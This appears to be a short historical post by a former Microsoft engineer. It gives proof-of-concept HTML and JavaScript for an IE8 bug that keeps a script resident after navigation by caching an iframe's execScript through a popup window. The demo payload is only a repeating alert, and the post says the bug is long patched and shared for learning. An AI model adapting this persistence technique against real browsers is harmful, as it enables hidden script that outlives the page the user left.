IE8 Resident Script via Cached execScript (WinOOB 1004580)

This one took some time to get right. The trick is keeping a script alive even after the main page navigates away, by caching an execScript reference from an iframe — but the catch is that the cache has to be made from outside the iframe itself, not from within it.

<!-- index.html -->
<script language="JavaScript">
function cacheAndReload()
{
    window.winCache = window.open("make_it_resident.html","WIN_CACHE","top=0,left=0,width=100,height=100");
    focus();
}
</script>

<iframe name="ifr" src="" width="20" height="20"></iframe>
<input type="button" onclick="cacheAndReload()" value="Run!">

<!-- make_it_resident.html -->
<script language="JavaScript">
opener.ifr.execScript('window.onunload = function(){top.winCache.execScript("cachedExecScript = opener[0].execScript;");}');
opener.location.reload();

function timedOut()
{
    cachedExecScript('htmlDoc = new ActiveXObject("htmlFile")');
    cachedExecScript('htmlDoc.parentWindow.setInterval("alert(\'I am resident...\')",4000)');
    opener.location.href = 'http://www.google.com';
    window.close();
}

setTimeout("timedOut()",500);
</script>

The key variation for IE8 build 6001 was that saving the pointer from inside the iframe’s own execScript call no longer worked — instead the cache had to be written by a parent-context execScript call. Once the cached reference was stored in the popup window and the main page reloaded (destroying the original iframe), the cached method could still create an htmlFile ActiveX object and keep a setInterval running indefinitely.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.